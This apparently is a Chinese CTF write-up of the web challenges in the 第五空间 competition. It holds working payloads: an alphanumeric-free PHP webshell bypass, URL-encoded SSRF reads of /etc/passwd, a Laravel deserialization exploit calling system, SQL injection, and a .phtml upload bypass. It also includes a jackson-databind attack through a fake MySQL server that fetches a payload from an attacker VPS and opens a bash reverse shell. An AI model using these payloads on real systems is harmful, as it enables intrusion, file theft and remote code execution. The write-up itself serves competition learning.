前言
近日参加了第五空间的比赛,以下是比赛中Web的所有题解。
hate-php
拿到题目后,题目给出了源码:
<?php error_reporting(0); if(!isset($_GET['code'])){ highlight_file(__FILE__); }else{ $code = $_GET['code']; if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { die('You are too good for me'); } $blacklist = get_defined_functions()['internal']; foreach ($blacklist as $blackitem) { if (preg_match ('/' . $blackitem . '/im', $code)) { die('You deserve better'); } } assert($code); }
不难发现题目中有2项过滤,一个是正则匹配:
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code))
另一个是黑名单函数禁用:
$blacklist = get_defined_functions()['internal']; foreach ($blacklist as $blackitem) { if (preg_match ('/' . $blackitem . '/im', $code)) { die('You deserve better'); } }
这里考虑使用无字母webshell进行bypass,详细文章参考:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
我们进行如下构造:
var_dump ~%89%9E%8D%A0%9B%8A%92%8F scandir ~%8C%9C%9E%91%9B%96%8D
然后将其组合在一起,并列举当前目录:
http://121.36.74.163/?code=(~%89%9E%8D%A0%9B%8A%92%8F)((~%8C%9C%9E%91%9B%96%8D)(~%D1))
得到回显如下:
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(9) "index.php" }
读取flag.php:
readfile %8D%9A%9E%9B%99%96%93%9A flag.php %99%93%9E%98%D1%8F%97%8F
访问:
http://121.36.74.163/?code=(~%8D%9A%9E%9B%99%96%93%9A)(~%99%93%9E%98%D1%8F%97%8F)
随即得到flag:
<?php $flag = 'flag{ecee9b5f24f8aede87cdda995fed079c}';
do you know
题目上来也给予了源代码:
$value) { $url=$value; } $ch = curl_init(); if ($type != 'file') { #add_debug_log($param, 'post_data'); // 设置超时 curl_setopt($ch, CURLOPT_TIMEOUT, 30); } else { // 设置超时 curl_setopt($ch, CURLOPT_TIMEOUT, 180); } curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // 设置header if ($type == 'file') { $header[] = "content-type: multipart/form-data; charset=UTF-8"; curl_setopt($ch, CURLOPT_HTTPHEADER, $header); } elseif ($type == 'xml') { curl_setopt($ch, CURLOPT_HEADER, false); } elseif ($has_json) { $header[] = "content-type: application/json; charset=UTF-8"; curl_setopt($ch, CURLOPT_HTTPHEADER, $header); } // curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_AUTOREFERER, 1); // dump($param); curl_setopt($ch, CURLOPT_POSTFIELDS, $param); // 要求结果为字符串且输出到屏幕上 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 使用证书:cert 与 key 分别属于两个.pem文件 $res = curl_exec($ch); var_dump($res);
我们发现index.php中有一个curl的功能,同时提示我们有xxe.php的页面:
loadXML($data, LIBXML_NOENT); ob_start(); var_dump($dom); $resp = ob_get_contents(); ob_end_clean(); } ?>
同时看到题目提示main.php和hints.php,那么考虑应该使用XXE进行读取,但有Ip限制:
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){ die('show me your identify'); }
因此考虑使用index.php的curl功能进行bypass,进行SSRF+XXE。
但是遗憾的是,在分析题目waf,尝试bypass时,发现题目的一些弊端:
$poc=$_SERVER['QUERY_STRING']; if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){ die("no hacker"); }
我们看到index.php的限制,发现其没有考虑urldecode的问题,那么导致我们可以使用url编码进行绕过,从而可以使用file或者flag等关键词:
%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64
因此,只要可以进行curl请求,那么我们就可以直接读取hints.php或者main.php,题目出现较为严重的非预期。
那么如何使用curl的功能呢?我们同样可以使用url编码进行绕过:
/?%75rl=skysec&url=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70
至此我们就可以读取任意文件内容了,首先读取file:///etc/passwd,进行测试:
/?%75rl=skysec&url=%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64
发现页面成功回显,那么尝试读取hints.php,这里使用常见web目录/var/www/html:
/?%75rl=skysec&url=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%68%69%6e%74%73%2e%70%68%70
再读main.php:
/?%75rl=skysec&url=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%6d%61%69%6e%2e%70%68%70
发现存在flag.php,于是读取:
/?%75rl=skysec&url=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70
随即拿到flag。
laravel
又是一道laravel pop chain的寻找题,这题都出烂了啊= =,感觉laraval已经被CTF日穿了,233333.
首先看到laraval版本号:
然而我们最常用的PendingCommand类的__destruct方法已经被禁止了。于是搜寻新chain,这里同样还是从__destruct方法切入,全局搜索__destruct方法,发现如下路径中,存在ImportConfigurator类,其拥有__destruct方法:
Loader/Configurator/ImportConfigurator.php
其中__destruct方法中,parent属性调用了addCollection方法,同时parent可控,那么此时如果找到一个拥有__call函数的类,并将parent赋值为其对象,即可触发__call,于是我们全局搜索__call方法:
发现在如下路径中,存在Generator类:
src/Faker/Generator.php
其具有__call方法,我们再跟进format方法:
发现存在敏感调用点:
call_user_func_array
至此我们可以想到构造链为:
ImportConfigurator __destruct -> Generator __call -> Generator format -> call_user_func_array
但在简单构造后,我们本地测试,可以发现如下报错:
查看Generator类相应源码:
发现我们可以利用数组进行bypass:
class Generator{ protected $formatters = array('addCollection'=>'system'); }
那么可以容易构造出如下exp:
'system'); } } namespace Symfony\Component\Routing\Loader\Configurator { class ImportConfigurator { private $parent; private $route; public function __construct($parent, $route) { $this->parent = $parent; $this->route = $route; } } } namespace RCE { $a = new \Faker\Generator(); $b = new \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($a,'RCE CMD'); $exp = serialize($b); echo urlencode($exp); }
首先列目录:
再读根目录:
发现flag文件,并读取:
美团外卖
首先进行目录扫描,发现www.zip文件泄露,随即进行代码审计,发现daochu.php功能非常可疑,同时不需要登录,并且存在sql注入点:
if($type==1){ $biao='content'; $result = mysqli_query($link,'select * from '.$biao.' where imei="'.$imei.'" and imei2="'.$imei2.'"'); echo ''; echo 'usercodenamephonenumber'; while ($row = mysqli_fetch_assoc($result)){ echo "".$row['imei']."".$row['imei2']."".$row['name']."".$row['tel'].""; } echo ''; }
此时我们发现$type,$imei,$imei2均为可控点:
header("Content-type: text/html; charset=utf-8"); require_once('common/Db.php'); header("Content-Type: application/xls"); $type=$_GET['type']; if($type==1){$a='通讯录';} if($type==2){$a='短信';} header("Content-Disposition: attachment; filename=".$_GET['imei']."-".$a.".xls"); header("Pragma: no-cache"); header("Expires: 0"); $imei=$_GET['imei']; $imei2=$_GET['imei2'];
同时sql查询无过滤,于是尝试读取信息,发现数据库中存在hint表:
在其中得知一个目录信息,在该目录下,我们发现源码中存在的组件lib/webuploader/0.1.5/server/preview.php,可以使用,而在最初的目录是不可用的。
同时该组件存在一些上传漏洞,参考链接如下:
https://9finger.cn/2020/03/06/CNVD-2018-26054%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
但是由于过滤了php,于是我们选择使用phtml进行bypass:
题目又给了下一个文件,我们访问后,提示我们需要传入file参数,于是测试:
发现可以读取/etc/passwd,那么尝试读取flag文件:
zzm's blog
题目给予了pom.xml的文件,我们查看发现:
题目使用了jackson-databind 2.9.8,但是其存在CVE-2019-12086的隐患。于是可以参考链接:
https://paper.seebug.org/1227/#71-fnmsd
发现有现成工具可用:
https://github.com/fnmsd/MySQL_Fake_Server
其可以帮助我们进行反序列化攻击,于是将其部署,同时发现题目存在commons-collections:
于是我们使用ysoserial的CommonsCollections chain进行测试,这里我选择了CommonsCollections5:
GET /?query={"id"%3a["com.mysql.cj.jdbc.admin.MiniAdmin",+"jdbc%3amysql%3a//vps_ip%3a23334/test%3fautoDeserialize%3dtrue%26queryInterceptors%3dcom.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26user%3dyso_CommonsCollections5_bash+-c+{echo,base64_cmd}|{base64,-d}|{bash,-i}"]}
发现可以成功打通,于是执行如下命令,尝试反弹shell
curl -o/tmp/evil vps /bin/bash /tmp/evil
让目标服务器来访问恶意文件并保存至/tmp目录下,再执行进行shell反弹:
然后可以轻松获取flag : flag{90d88050-42fc-4dc6-9b10-b40b82e44495}
后记
总的来说,比赛比去年举办的有些意思了,至少没有一直发生宕机,或者出题人自己都不懂题目原理的情况,像laravel的chain的寻找和zzm's blog的cve复现,感觉都还行~
如若转载,请注明原文地址